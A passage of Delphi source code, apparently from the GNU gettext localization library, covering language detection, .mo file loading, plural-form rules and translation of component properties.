IDSwedish = $041D; IDTajik = $0428; IDTamil = $0449; IDTatar = $0444; IDTelugu = $044A; IDThai = $041E; IDTibetan = $0451; IDTsonga = $0431; IDTswana = $0432; IDTurkish = $041F; IDTurkmen = $0442; IDUkrainian = $0422; IDUrdu = $0420; IDUzbekCyrillic = $0843; IDUzbekLatin = $0443; IDVenda = $0433; IDVietnamese = $042A; IDWelsh = $0452; IDXhosa = $0434; IDZulu = $0435; function GetWindowsLanguage: WideString; var langid: Cardinal; langcode: WideString; CountryName: array [0 .. 4] of widechar; LanguageName: array [0 .. 4] of widechar; works: boolean; begin // The return value of GetLocaleInfo is compared with 3 = 2 characters and a zero works := 3 = GetLocaleInfoW(LOCALE_USER_DEFAULT, LOCALE_SISO639LANGNAME, LanguageName, SizeOf(LanguageName)); works := works and (3 = GetLocaleInfoW(LOCALE_USER_DEFAULT, LOCALE_SISO3166CTRYNAME, CountryName, SizeOf(CountryName))); if works then begin // Windows 98, Me, NT4, 2000, XP and newer langcode := PWideChar(@(LanguageName[0])); if lowercase(langcode) = 'no' then langcode := 'nb'; langcode := langcode + '_' + PWideChar(@CountryName[0]); end else begin // This part should only happen on Windows 95. langid := GetThreadLocale; case langid of IDBelgianDutch: langcode := 'nl_BE'; IDBelgianFrench: langcode := 'fr_BE'; IDBrazilianPortuguese: langcode := 'pt_BR'; IDDanish: langcode := 'da_DK'; IDDutch: langcode := 'nl_NL'; IDEnglishUK: langcode := 'en_GB'; IDEnglishUS: langcode := 'en_US'; IDFinnish: langcode := 'fi_FI'; IDFrench: langcode := 'fr_FR'; IDFrenchCanadian: langcode := 'fr_CA'; IDGerman: langcode := 'de_DE'; IDGermanLuxembourg: langcode := 'de_LU'; IDGreek: langcode := 'el_GR'; IDIcelandic: langcode := 'is_IS'; IDItalian: langcode := 'it_IT'; IDKorean: langcode := 'ko_KO'; IDNorwegianBokmol: langcode := 'nb_NO'; IDNorwegianNynorsk: langcode := 'nn_NO'; IDPolish: langcode := 'pl_PL'; IDPortuguese: langcode := 'pt_PT'; IDRussian: langcode := 'ru_RU'; IDSpanish, IDSpanishModernSort: langcode := 'es_ES'; IDSwedish: langcode := 'sv_SE'; IDSwedishFinland: langcode := 'sv_FI'; else langcode := 'C'; end; end; Result := langcode; end; {$ENDIF} {$IFNDEF UNICODE} function LoadResStringA(ResStringRec: PResStringRec): AnsiString; begin Result := DefaultInstance.LoadResString(ResStringRec); end; {$ENDIF} function GetTranslatorNameAndEmail: TranslatedUnicodeString; begin Result := DefaultInstance.GetTranslatorNameAndEmail; end; procedure UseLanguage(LanguageCode: LanguageString); begin DefaultInstance.UseLanguage(LanguageCode); end; type PStrData = ^TStrData; TStrData = record Ident: Integer; str: String; end; function SysUtilsEnumStringModules(Instance: NativeInt; Data: pointer): boolean; {$IFDEF MSWINDOWS} var Buffer: array [0 .. 1023] of Char; // WideChar in Delphi 2008, AnsiChar before that begin with PStrData(Data)^ do begin SetString(str, Buffer, LoadString(HInstance, Ident, @Buffer[0], SizeOf(Buffer))); Result := str = ''; end; end; {$ENDIF} {$IFDEF LINUX} var rs: TResStringRec; Module: HModule; begin Module := Instance; rs.Module := @Module; with PStrData(Data)^ do begin rs.Identifier := Ident; str := System.LoadResString(@rs); Result := str = ''; end; end; {$ENDIF} function SysUtilsFindStringResource(Ident: Integer): string; var StrData: TStrData; begin StrData.Ident := Ident; StrData.str := ''; EnumResourceModules(SysUtilsEnumStringModules, @StrData); Result := StrData.str; end; function SysUtilsLoadStr(Ident: Integer): string; begin {$IFDEF DXGETTEXTDEBUG} DefaultInstance.DebugWriteln('Sysutils.LoadRes(' + IntToStr(Ident) + ') called'); {$ENDIF} Result := ResourceStringGettext(SysUtilsFindStringResource(Ident)); end; function SysUtilsFmtLoadStr(Ident: Integer; const Args: array of const): string; begin {$IFDEF DXGETTEXTDEBUG} DefaultInstance.DebugWriteln('Sysutils.FmtLoadRes(' + IntToStr(Ident) + ',Args) called'); {$ENDIF} FmtStr(Result, ResourceStringGettext(SysUtilsFindStringResource(Ident)), Args); end; function LoadResString(ResStringRec: PResStringRec): WideString; begin Result := DefaultInstance.LoadResString(ResStringRec); end; function LoadResStringW(ResStringRec: PResStringRec): UnicodeString; begin Result := DefaultInstance.LoadResString(ResStringRec); end; function GetCurrentLanguage: LanguageString; begin Result := DefaultInstance.GetCurrentLanguage; end; { TDomain } procedure TDomain.CloseMoFile; begin if mofile <> nil then begin FileLocator.ReleaseMoFile(mofile); mofile := nil; end; OpenHasFailedBefore := false; end; destructor TDomain.Destroy; begin CloseMoFile; inherited; end; {$IFDEF mswindows} function GetLastWinError: WideString; var errcode: Cardinal; begin SetLength(Result, 2000); errcode := GetLastError(); Windows.FormatMessageW(FORMAT_MESSAGE_FROM_SYSTEM, nil, errcode, 0, PWideChar(Result), 2000, nil); Result := PWideChar(Result); end; {$ENDIF} procedure TDomain.OpenMoFile; var filename: FilenameString; begin // Check if it is already open if mofile <> nil then exit; // Check if it has been attempted to open the file before if OpenHasFailedBefore then exit; if SpecificFilename <> '' then begin filename := SpecificFilename; {$IFDEF DXGETTEXTDEBUG} DebugLogger('Domain ' + domain + ' is bound to specific file ' + filename); {$ENDIF} end else begin filename := Directory + curlang + PathDelim + 'LC_MESSAGES' + PathDelim + domain + '.mo'; if (not FileLocator.FileExists(filename)) and (not FileExists(filename)) then begin {$IFDEF DXGETTEXTDEBUG} DebugLogger('Domain ' + domain + ': File does not exist, neither embedded or in file system: ' + filename); {$ENDIF} filename := Directory + MidStr(curlang, 1, 2) + PathDelim + 'LC_MESSAGES' + PathDelim + domain + '.mo'; {$IFDEF DXGETTEXTDEBUG} DebugLogger('Domain ' + domain + ' will attempt to use this file: ' + filename); {$ENDIF} end else begin {$IFDEF DXGETTEXTDEBUG} if FileLocator.FileExists(filename) then DebugLogger('Domain ' + domain + ' will attempt to use this embedded file: ' + filename) else DebugLogger('Domain ' + domain + ' will attempt to use this file that was found on the file system: ' + filename); {$ENDIF} end; end; if (not FileLocator.FileExists(filename)) and (not FileExists(filename)) then begin {$IFDEF DXGETTEXTDEBUG} DebugLogger('Domain ' + domain + ' failed to locate the file: ' + filename); {$ENDIF} OpenHasFailedBefore := true; exit; end; {$IFDEF DXGETTEXTDEBUG} DebugLogger('Domain ' + domain + ' now accesses the file.'); {$ENDIF} mofile := FileLocator.GetMoFile(filename, DebugLogger); {$IFDEF DXGETTEXTDEBUG} if mofile.isSwappedArchitecture then DebugLogger('.mo file is swapped (comes from another CPU architecture)'); {$ENDIF} // Check, that the contents of the file is utf-8 if pos('CHARSET=UTF-8', uppercase(GetTranslationProperty('Content-Type'))) = 0 then begin CloseMoFile; {$IFDEF DXGETTEXTDEBUG} DebugLogger('The translation for the language code ' + curlang + ' (in ' + filename + ') does not have charset=utf-8 in its Content-Type. Translations are turned off.'); {$ENDIF} {$IFDEF MSWINDOWS} MessageBoxW(0, PWideChar(WideString('The translation for the language code ' + curlang + ' (in ' + filename + ') does not have charset=utf-8 in its Content-Type. Translations are turned off.')), 'Localization problem', MB_OK); {$ELSE} writeln(stderr, 'The translation for the language code ' + curlang + ' (in ' + filename + ') does not have charset=utf-8 in its Content-Type. Translations are turned off.'); {$ENDIF} enabled := false; end; end; {$IFDEF UNICODE} function utf8decode(s: RawByteString): UnicodeString; inline; begin Result := UTF8ToWideString(s); end; {$ENDIF} function TDomain.GetTranslationProperty(propertyname: ComponentNameString): TranslatedUnicodeString; var sl: TStringList; i: Integer; s: string; begin propertyname := uppercase(propertyname) + ': '; sl := TStringList.Create; try sl.Text := utf8decode(gettext('')); for i := 0 to sl.Count - 1 do begin s := sl.Strings[i]; if uppercase(MidStr(s, 1, length(propertyname))) = propertyname then begin Result := trim(MidStr(s, length(propertyname) + 1, maxint)); {$IFDEF DXGETTEXTDEBUG} DebugLogger('GetTranslationProperty(' + propertyname + ') returns ''' + Result + '''.'); {$ENDIF} exit; end; end; finally FreeAndNil(sl); end; Result := ''; {$IFDEF DXGETTEXTDEBUG} DebugLogger('GetTranslationProperty(' + propertyname + ') did not find any value. An empty string is returned.'); {$ENDIF} end; procedure TDomain.setDirectory(const dir: FilenameString); begin vDirectory := IncludeTrailingPathDelimiter(dir); SpecificFilename := ''; CloseMoFile; end; procedure AddDomainForResourceString(const domain: DomainString); begin {$IFDEF DXGETTEXTDEBUG} DefaultInstance.DebugWriteln('Extra domain for resourcestring: ' + domain); {$ENDIF} ResourceStringDomainListCS.BeginWrite; try if ResourceStringDomainList.IndexOf(domain) = -1 then ResourceStringDomainList.Add(domain); finally ResourceStringDomainListCS.EndWrite; end; end; procedure RemoveDomainForResourceString(const domain: DomainString); var i: Integer; begin {$IFDEF DXGETTEXTDEBUG} DefaultInstance.DebugWriteln('Remove domain for resourcestring: ' + domain); {$ENDIF} ResourceStringDomainListCS.BeginWrite; try i := ResourceStringDomainList.IndexOf(domain); if i <> -1 then ResourceStringDomainList.delete(i); finally ResourceStringDomainListCS.EndWrite; end; end; procedure TDomain.SetLanguageCode(const langcode: LanguageString); begin CloseMoFile; curlang := langcode; end; function GetPluralForm2EN(Number: Integer): Integer; begin Number := abs(Number); if Number = 1 then Result := 0 else Result := 1; end; function GetPluralForm1(Number: Integer): Integer; begin Result := 0; end; function GetPluralForm2FR(Number: Integer): Integer; begin Number := abs(Number); if (Number = 1) or (Number = 0) then Result := 0 else Result := 1; end; function GetPluralForm3LV(Number: Integer): Integer; begin Number := abs(Number); if (Number mod 10 = 1) and (Number mod 100 <> 11) then Result := 0 else if Number <> 0 then Result := 1 else Result := 2; end; function GetPluralForm3GA(Number: Integer): Integer; begin Number := abs(Number); if Number = 1 then Result := 0 else if Number = 2 then Result := 1 else Result := 2; end; function GetPluralForm3LT(Number: Integer): Integer; var n1, n2: byte; begin Number := abs(Number); n1 := Number mod 10; n2 := Number mod 100; if (n1 = 1) and (n2 <> 11) then Result := 0 else if (n1 >= 2) and ((n2 < 10) or (n2 >= 20)) then Result := 1 else Result := 2; end; function GetPluralForm3PL(Number: Integer): Integer; var n1, n2: byte; begin Number := abs(Number); n1 := Number mod 10; n2 := Number mod 100; if Number = 1 then Result := 0 else if (n1 >= 2) and (n1 <= 4) and ((n2 < 10) or (n2 >= 20)) then Result := 1 else Result := 2; end; function GetPluralForm3RU(Number: Integer): Integer; var n1, n2: byte; begin Number := abs(Number); n1 := Number mod 10; n2 := Number mod 100; if (n1 = 1) and (n2 <> 11) then Result := 0 else if (n1 >= 2) and (n1 <= 4) and ((n2 < 10) or (n2 >= 20)) then Result := 1 else Result := 2; end; function GetPluralForm3SK(Number: Integer): Integer; begin Number := abs(Number); if Number = 1 then Result := 0 else if (Number < 5) and (Number <> 0) then Result := 1 else Result := 2; end; function GetPluralForm4SL(Number: Integer): Integer; var n2: byte; begin Number := abs(Number); n2 := Number mod 100; if n2 = 1 then Result := 0 else if n2 = 2 then Result := 1 else if (n2 = 3) or (n2 = 4) then Result := 2 else Result := 3; end; procedure TDomain.GetListOfLanguages(list: TStrings); var sr: TSearchRec; more: boolean; filename, path: FilenameString; langcode: LanguageString; i, j: Integer; begin list.Clear; // Iterate through filesystem more := FindFirst(Directory + '*', faAnyFile, sr) = 0; try while more do begin if (sr.Attr and faDirectory <> 0) and (sr.name <> '.') and (sr.name <> '..') then begin filename := Directory + sr.name + PathDelim + 'LC_MESSAGES' + PathDelim + domain + '.mo'; if FileExists(filename) then begin langcode := lowercase(sr.name); if list.IndexOf(langcode) = -1 then list.Add(langcode); end; end; more := FindNext(sr) = 0; end; finally FindClose(sr); end; // Iterate through embedded files for i := 0 to FileLocator.filelist.Count - 1 do begin filename := FileLocator.basedirectory + FileLocator.filelist.Strings[i]; path := Directory; {$IFDEF MSWINDOWS} path := uppercase(path); filename := uppercase(filename); {$ENDIF} j := length(path); if MidStr(filename, 1, j) = path then begin path := PathDelim + 'LC_MESSAGES' + PathDelim + domain + '.mo'; {$IFDEF MSWINDOWS} path := uppercase(path); {$ENDIF} if MidStr(filename, length(filename) - length(path) + 1, length(path)) = path then begin langcode := lowercase(MidStr(filename, j + 1, length(filename) - length(path) - j)); langcode := LeftStr(langcode, 3) + uppercase(MidStr(langcode, 4, maxint)); if list.IndexOf(langcode) = -1 then list.Add(langcode); end; end; end; end; procedure TDomain.SetFilename(const filename: FilenameString); begin CloseMoFile; vDirectory := ''; SpecificFilename := filename; end; function TDomain.gettext(const msgid: RawUtf8String): RawUtf8String; var found: boolean; begin if not enabled then begin Result := msgid; exit; end; if (mofile = nil) and (not OpenHasFailedBefore) then OpenMoFile; if mofile = nil then begin {$IFDEF DXGETTEXTDEBUG} DebugLogger('.mo file is not open. Not translating "' + msgid + '"'); {$ENDIF} Result := msgid; end else begin Result := mofile.gettext(msgid, found); {$IFDEF DXGETTEXTDEBUG} if found then DebugLogger('Found in .mo (' + domain + '): "' + utf8encode(msgid) + '"->"' + utf8encode(Result) + '"') else DebugLogger('Translation not found in .mo file (' + domain + ') : "' + utf8encode(msgid) + '"'); {$ENDIF} end; end; constructor TDomain.Create; begin inherited Create; enabled := true; end; { TGnuGettextInstance } procedure TGnuGettextInstance.bindtextdomain(const szDomain: DomainString; const szDirectory: FilenameString); var dir: FilenameString; begin dir := IncludeTrailingPathDelimiter(szDirectory); {$IFDEF DXGETTEXTDEBUG} DebugWriteln('Text domain "' + szDomain + '" is now located at "' + dir + '"'); {$ENDIF} Getdomain(szDomain, DefaultDomainDirectory, curlang).Directory := dir; WhenNewDomainDirectory(szDomain, szDirectory); end; constructor TGnuGettextInstance.Create; begin CreatorThread := GetCurrentThreadId; {$IFDEF MSWindows} DesignTimeCodePage := CP_ACP; {$ENDIF} {$IFDEF DXGETTEXTDEBUG} DebugLogCS := TMultiReadExclusiveWriteSynchronizer.Create; DebugLog := TMemoryStream.Create; DebugWriteln('Debug log started ' + DateTimeToStr(Now)); DebugWriteln('GNU gettext module version: ' + VCSVersion); DebugWriteln(''); {$ENDIF} curGetPluralForm := GetPluralForm2EN; enabled := true; curmsgdomain := DefaultTextDomain; savefileCS := TMultiReadExclusiveWriteSynchronizer.Create; domainlist := TStringList.Create; TP_IgnoreList := TStringList.Create; TP_IgnoreList.Sorted := true; TP_GlobalClassHandling := TList.Create; TP_ClassHandling := TList.Create; // Set some settings DefaultDomainDirectory := IncludeTrailingPathDelimiter(extractfilepath(ExecutableFilename)) + 'locale'; UseLanguage(''); bindtextdomain(DefaultTextDomain, DefaultDomainDirectory); textdomain(DefaultTextDomain); // Add default properties to ignore TP_GlobalIgnoreClassProperty(TComponent, 'Name'); TP_GlobalIgnoreClassProperty(TCollection, 'PropName'); end; destructor TGnuGettextInstance.Destroy; begin if savememory <> nil then begin savefileCS.BeginWrite; try CloseFile(savefile); finally savefileCS.EndWrite; end; FreeAndNil(savememory); end; FreeAndNil(savefileCS); FreeAndNil(TP_IgnoreList); while TP_GlobalClassHandling.Count <> 0 do begin TObject(TP_GlobalClassHandling.Items[0]).Free; TP_GlobalClassHandling.delete(0); end; FreeAndNil(TP_GlobalClassHandling); FreeTP_ClassHandlingItems; FreeAndNil(TP_ClassHandling); while domainlist.Count <> 0 do begin domainlist.Objects[0].Free; domainlist.delete(0); end; FreeAndNil(domainlist); {$IFDEF DXGETTEXTDEBUG} FreeAndNil(DebugLog); FreeAndNil(DebugLogCS); {$ENDIF} inherited; end; {$IFNDEF UNICODE} function TGnuGettextInstance.dgettext(const szDomain: DomainString; const szMsgId: AnsiString): TranslatedUnicodeString; begin Result := dgettext(szDomain, ansi2wideDTCP(szMsgId)); end; {$ENDIF} function TGnuGettextInstance.dgettext(const szDomain: DomainString; const szMsgId: MsgIdString): TranslatedUnicodeString; begin if not enabled then begin {$IFDEF DXGETTEXTDEBUG} DebugWriteln('Translation has been disabled. Text is not being translated: ' + szMsgId); {$ENDIF} Result := szMsgId; end else begin Result := utf8decode(EnsureLineBreakInTranslatedString(Getdomain(szDomain, DefaultDomainDirectory, curlang) .gettext(StripCRRawMsgId(utf8encode(szMsgId))))); {$IFDEF DXGETTEXTDEBUG} if (szMsgId <> '') and (Result = '') then DebugWriteln(Format('Error: Translation of %s was an empty string. This may never occur.', [szMsgId])); {$ENDIF} end; end; function TGnuGettextInstance.dgettext_NoExtract(const szDomain: DomainString; const szMsgId: MsgIdString): TranslatedUnicodeString; begin // This one is very useful for translating text in variables. // This can sometimes be necessary, and by using this function, // the source code scanner will not trigger warnings. Result := dgettext(szDomain, szMsgId); end; function TGnuGettextInstance.GetCurrentLanguage: LanguageString; begin Result := curlang; end; function TGnuGettextInstance.getcurrenttextdomain: DomainString; begin Result := curmsgdomain; end; {$IFNDEF UNICODE} function TGnuGettextInstance.gettext(const szMsgId: AnsiString): TranslatedUnicodeString; begin Result := dgettext(curmsgdomain, szMsgId); end; {$ENDIF} function TGnuGettextInstance.gettext(const szMsgId: MsgIdString): TranslatedUnicodeString; begin Result := dgettext(curmsgdomain, szMsgId); end; function TGnuGettextInstance.gettext_NoExtract(const szMsgId: MsgIdString): TranslatedUnicodeString; begin // This one is very useful for translating text in variables. // This can sometimes be necessary, and by using this function, // the source code scanner will not trigger warnings. Result := gettext(szMsgId); end; procedure TGnuGettextInstance.textdomain(const szDomain: DomainString); begin {$IFDEF DXGETTEXTDEBUG} DebugWriteln('Changed text domain to "' + szDomain + '"'); {$ENDIF} curmsgdomain := szDomain; WhenNewDomain(szDomain); end; function TGnuGettextInstance.TP_CreateRetranslator: TExecutable; var ttpr: TTP_Retranslator; begin ttpr := TTP_Retranslator.Create; ttpr.Instance := self; TP_Retranslator := ttpr; Result := ttpr; {$IFDEF DXGETTEXTDEBUG} DebugWriteln('A retranslator was created.'); {$ENDIF} end; procedure TGnuGettextInstance.TP_GlobalHandleClass(HClass: TClass; Handler: TTranslator); var cm: TClassMode; i: Integer; begin for i := 0 to TP_GlobalClassHandling.Count - 1 do begin cm := TObject(TP_GlobalClassHandling.Items[i]) as TClassMode; if cm.HClass = HClass then raise EGGProgrammingError.Create('You cannot set a handler for a class that has already been assigned otherwise.'); if HClass.InheritsFrom(cm.HClass) then begin // This is the place to insert this class cm := TClassMode.Create; cm.HClass := HClass; cm.SpecialHandler := Handler; TP_GlobalClassHandling.insert(i, cm); {$IFDEF DXGETTEXTDEBUG} DebugWriteln('A handler was set for class ' + HClass.ClassName + '.'); {$ENDIF} exit; end; end; cm := TClassMode.Create; cm.HClass := HClass; cm.SpecialHandler := Handler; TP_GlobalClassHandling.Add(cm); {$IFDEF DXGETTEXTDEBUG} DebugWriteln('A handler was set for class ' + HClass.ClassName + '.'); {$ENDIF} end; procedure TGnuGettextInstance.TP_GlobalIgnoreClass(IgnClass: TClass); var cm: TClassMode; i: Integer; begin for i := 0 to TP_GlobalClassHandling.Count - 1 do begin cm := TObject(TP_GlobalClassHandling.Items[i]) as TClassMode; if cm.HClass = IgnClass then raise EGGProgrammingError.Create('You cannot add a class to the ignore list that is already on that list: ' + IgnClass.ClassName + '. You should keep all TP_Global functions in one place in your source code.'); if IgnClass.InheritsFrom(cm.HClass) then begin // This is the place to insert this class cm := TClassMode.Create; cm.HClass := IgnClass; TP_GlobalClassHandling.insert(i, cm); {$IFDEF DXGETTEXTDEBUG} DebugWriteln('Globally, class ' + IgnClass.ClassName + ' is being ignored.'); {$ENDIF} exit; end; end; cm := TClassMode.Create; cm.HClass := IgnClass; TP_GlobalClassHandling.Add(cm); {$IFDEF DXGETTEXTDEBUG} DebugWriteln('Globally, class ' + IgnClass.ClassName + ' is being ignored.'); {$ENDIF} end; procedure TGnuGettextInstance.TP_GlobalIgnoreClassProperty(IgnClass: TClass; propertyname: ComponentNameString); var cm: TClassMode; i, idx: Integer; begin propertyname := uppercase(propertyname); for i := 0 to TP_GlobalClassHandling.Count - 1 do begin cm := TObject(TP_GlobalClassHandling.Items[i]) as TClassMode; if cm.HClass = IgnClass then begin if Assigned(cm.SpecialHandler) then raise EGGProgrammingError.Create('You cannot ignore a class property for a class that has a handler set.'); if not cm.PropertiesToIgnore.Find(propertyname, idx) then cm.PropertiesToIgnore.Add(propertyname); {$IFDEF DXGETTEXTDEBUG} DebugWriteln('Globally, the ' + propertyname + ' property of class ' + IgnClass.ClassName + ' is being ignored.'); {$ENDIF} exit; end; if IgnClass.InheritsFrom(cm.HClass) then begin // This is the place to insert this class cm := TClassMode.Create; cm.HClass := IgnClass; cm.PropertiesToIgnore.Add(propertyname); TP_GlobalClassHandling.insert(i, cm); {$IFDEF DXGETTEXTDEBUG} DebugWriteln('Globally, the ' + propertyname + ' property of class ' + IgnClass.ClassName + ' is being ignored.'); {$ENDIF} exit; end; end; cm := TClassMode.Create; cm.HClass := IgnClass; cm.PropertiesToIgnore.Add(propertyname); TP_GlobalClassHandling.Add(cm); {$IFDEF DXGETTEXTDEBUG} DebugWriteln('Globally, the ' + propertyname + ' property of class ' + IgnClass.ClassName + ' is being ignored.'); {$ENDIF} end; procedure TGnuGettextInstance.TP_Ignore(AnObject: TObject; const name: ComponentNameString); begin TP_IgnoreList.Add(uppercase(name)); {$IFDEF DXGETTEXTDEBUG} DebugWriteln('On object with class name ' + AnObject.ClassName + ', ignore is set on ' + name); {$ENDIF} end; procedure TGnuGettextInstance.TranslateComponent(AnObject: TComponent; const textdomain: DomainString); var comp: TGnuGettextComponentMarker; begin {$IFDEF DXGETTEXTDEBUG} DebugWriteln('======================================================================'); DebugWriteln('TranslateComponent() was called for a component with name ' + AnObject.name + '.'); {$ENDIF} comp := AnObject.FindComponent('GNUgettextMarker') as TGnuGettextComponentMarker; if comp = nil then begin comp := TGnuGettextComponentMarker.Create(nil); comp.name := 'GNUgettextMarker'; comp.Retranslator := TP_CreateRetranslator; TranslateProperties(AnObject, textdomain); AnObject.InsertComponent(comp); {$IFDEF DXGETTEXTDEBUG} DebugWriteln ('This is the first time, that this component has been translated. A retranslator component has been created for this component.'); {$ENDIF} end else begin {$IFDEF DXGETTEXTDEBUG} DebugWriteln('This is not the first time, that this component has been translated.'); {$ENDIF} if comp.LastLanguage <> curlang then begin {$IFDEF DXGETTEXTDEBUG} DebugWriteln ('ERROR: TranslateComponent() was called twice with different languages. This indicates an attempt to switch language at runtime, but by using TranslateComponent every time. This API has changed - please use RetranslateComponent() instead.'); {$ENDIF} {$IFDEF mswindows} MessageBox(0, 'This application tried to switch the language, but in an incorrect way. The programmer needs to replace a call to TranslateComponent with a call to RetranslateComponent(). The programmer should see the changelog of gnugettext.pas for more information.', 'Error', MB_OK); {$ELSE} writeln(stderr, 'This application tried to switch the language, but in an incorrect way. The programmer needs to replace a call to TranslateComponent with a call to RetranslateComponent(). The programmer should see the changelog of gnugettext.pas for more information.'); {$ENDIF} end else begin {$IFDEF DXGETTEXTDEBUG} DebugWriteln ('ERROR: TranslateComponent has been called twice, but with the same language chosen. This is a mistake, but in order to prevent that the application breaks, no exception is raised.'); {$ENDIF} end; end; comp.LastLanguage := curlang; {$IFDEF DXGETTEXTDEBUG} DebugWriteln('======================================================================'); {$ENDIF} end; procedure TGnuGettextInstance.TranslateProperty(AnObject: TObject; PropInfo: PPropInfo; TodoList: TStrings; const textdomain: DomainString); var ppi: PPropInfo; ws: TranslatedUnicodeString; old: TranslatedUnicodeString; compmarker: TComponent; obj: TObject; Propname: ComponentNameString; begin Propname := string(PropInfo^.name); try // Translate certain types of properties case PropInfo^.PropType^.Kind of {$IFDEF UNICODE} // All dfm files returning tkUString tkString, tkLString, tkWString, tkUString: {$ELSE} tkString, tkLString, tkWString: {$ENDIF} begin {$IFDEF DXGETTEXTDEBUG} DebugWriteln('Translating ' + AnObject.ClassName + '.' + Propname); {$ENDIF} case PropInfo^.PropType^.Kind of tkString, tkLString: old := GetStrProp(AnObject, Propname); tkWString: old := GetWideStrProp(AnObject, Propname); {$IFDEF UNICODE} tkUString: old := GetUnicodeStrProp(AnObject, Propname); {$ENDIF} else raise Exception.Create ('Internal error: Illegal property type. This problem needs to be solved by a programmer, try to find a workaround.'); end; {$IFDEF DXGETTEXTDEBUG} if old = '' then DebugWriteln('(Empty, not translated)') else DebugWriteln('Old value: "' + old + '"'); {$ENDIF} if (old <> '') and (IsWriteProp(PropInfo)) then begin if TP_Retranslator <> nil then (TP_Retranslator as TTP_Retranslator).Remember(AnObject, Propname, old); ws := dgettext(textdomain, old); if ws <> old then begin ppi := GetPropInfo(AnObject, Propname); if ppi <> nil then begin SetWideStrProp(AnObject, ppi, ws); end else begin {$IFDEF DXGETTEXTDEBUG} DebugWriteln('ERROR: Property disappeared: ' + Propname + ' for object of type ' + AnObject.ClassName); {$ENDIF} end; end; end; end { case item }; tkClass: begin obj := GetObjectProp(AnObject, Propname); if obj <> nil then begin if obj is TComponent then begin compmarker := TComponent(obj).FindComponent('GNUgettextMarker'); if Assigned(compmarker) then exit; end; TodoList.AddObject('', obj); end; end { case item }; end { case }; except on E: Exception do raise EGGComponentError.Create('Property cannot be translated.' + sLinebreak + 'Add TP_GlobalIgnoreClassProperty(' + AnObject.ClassName + ',''' + Propname + ''') to your source code or use' + sLinebreak + 'TP_Ignore (self,''.' + Propname + ''') to prevent this message.' + sLinebreak + 'Reason: ' + E.Message); end; end; procedure TGnuGettextInstance.TranslateProperties(AnObject: TObject; textdomain: DomainString = ''); var TodoList: TStringList; // List of Name/TObject's that is to be processed DoneList: TStringList; // List of hex codes representing pointers to objects that have been done i, j, Count: Integer; PropList: PPropList; UPropName: ComponentNameString; PropInfo: PPropInfo; compmarker, comp: TComponent; cm, currentcm: TClassMode; // currentcm is nil or contains special information about how to handle the current object ObjectPropertyIgnoreList: TStringList; objid: string; name: ComponentNameString; begin {$IFDEF DXGETTEXTDEBUG} DebugWriteln('----------------------------------------------------------------------'); DebugWriteln('TranslateProperties() was called for an object of class ' + AnObject.ClassName + ' with domain "' + textdomain + '".'); {$ENDIF} if textdomain = '' then textdomain := curmsgdomain; if TP_Retranslator <> nil then (TP_Retranslator as TTP_Retranslator).textdomain := textdomain; {$IFDEF FPC} DoneList := TCSStringList.Create; TodoList := TCSStringList.Create; ObjectPropertyIgnoreList := TCSStringList.Create; {$ELSE} DoneList := TStringList.Create; TodoList := TStringList.Create; ObjectPropertyIgnoreList := TStringList.Create; {$ENDIF} try TodoList.AddObject('', AnObject); DoneList.Sorted := true; ObjectPropertyIgnoreList.Sorted := true; ObjectPropertyIgnoreList.Duplicates := dupIgnore; ObjectPropertyIgnoreList.CaseSensitive := false; DoneList.Duplicates := dupError; DoneList.CaseSensitive := true; while TodoList.Count <> 0 do begin AnObject := TodoList.Objects[0]; Name := TodoList.Strings[0]; TodoList.delete(0); if (AnObject <> nil) and (AnObject is TPersistent) then begin // Make sure each object is only translated once Assert(SizeOf(Integer) = SizeOf(TObject)); objid := IntToHex(Integer(AnObject), 8); if DoneList.Find(objid, i) then begin continue; end else begin DoneList.Add(objid); end; ObjectPropertyIgnoreList.Clear; // Find out if there is special handling of this object currentcm := nil; // First check the local handling instructions for j := 0 to TP_ClassHandling.Count - 1 do begin cm := TObject(TP_ClassHandling.Items[j]) as TClassMode; if AnObject.InheritsFrom(cm.HClass) then begin if cm.PropertiesToIgnore.Count <> 0 then begin ObjectPropertyIgnoreList.AddStrings(cm.PropertiesToIgnore); end else begin // Ignore the entire class currentcm := cm; break; end; end; end; // Then check the global handling instructions if currentcm = nil then for j := 0 to TP_GlobalClassHandling.Count - 1 do begin cm := TObject(TP_GlobalClassHandling.Items[j]) as TClassMode; if AnObject.InheritsFrom(cm.HClass) then begin if cm.PropertiesToIgnore.Count <> 0 then begin ObjectPropertyIgnoreList.AddStrings(cm.PropertiesToIgnore); end else begin // Ignore the entire class currentcm := cm; break; end; end; end; if currentcm <> nil then begin ObjectPropertyIgnoreList.Clear; // Ignore or use special handler if Assigned(currentcm.SpecialHandler) then begin currentcm.SpecialHandler(AnObject); {$IFDEF DXGETTEXTDEBUG} DebugWriteln('Special handler activated for ' + AnObject.ClassName); {$ENDIF} end else begin {$IFDEF DXGETTEXTDEBUG} DebugWriteln('Ignoring object ' + AnObject.ClassName); {$ENDIF} end; continue; end; Count := GetPropList(AnObject, PropList); try for j := 0 to Count - 1 do begin PropInfo := PropList[j]; {$IFDEF UNICODE} if not(PropInfo^.PropType^.Kind in [tkString, tkLString, tkWString, tkClass, tkUString]) then {$ELSE} if not(PropInfo^.PropType^.Kind in [tkString, tkLString, tkWString, tkClass]) then {$ENDIF} continue; UPropName := uppercase(string(PropInfo^.name)); // Ignore properties that are meant to be ignored if ((currentcm = nil) or (not currentcm.PropertiesToIgnore.Find(UPropName, i))) and (not TP_IgnoreList.Find(Name + '.' + UPropName, i)) and (not ObjectPropertyIgnoreList.Find(UPropName, i)) then begin TranslateProperty(AnObject, PropInfo, TodoList, textdomain); end; // if end; // for finally if Count <> 0 then FreeMem(PropList); end; if AnObject is TStrings then begin if ((AnObject as TStrings).Text <> '') and (TP_Retranslator <> nil) then (TP_Retranslator as TTP_Retranslator).Remember(AnObject, 'Text', (AnObject as TStrings).Text); TranslateStrings(AnObject as TStrings, textdomain); end; // Check for TCollection if AnObject is TCollection then begin for i := 0 to (AnObject as TCollection).Count - 1 do begin // Only add the object if it's not totally ignored already if not Assigned(currentcm) or not AnObject.InheritsFrom(currentcm.HClass) then TodoList.AddObject('', (AnObject as TCollection).Items[i]); end; end; if AnObject is TComponent then begin for i := 0 to TComponent(AnObject).ComponentCount - 1 do begin comp := TComponent(AnObject).Components[i]; if (not TP_IgnoreList.Find(uppercase(comp.name), j)) then begin // Only add the object if it's not totally ignored or translated already if not Assigned(currentcm) or not AnObject.InheritsFrom(currentcm.HClass) then begin compmarker := comp.FindComponent('GNUgettextMarker'); if not Assigned(compmarker) then TodoList.AddObject(uppercase(comp.name), comp); end; end; end; end; end { if AnObject<>nil }; end { while todolist.count<>0 }; finally 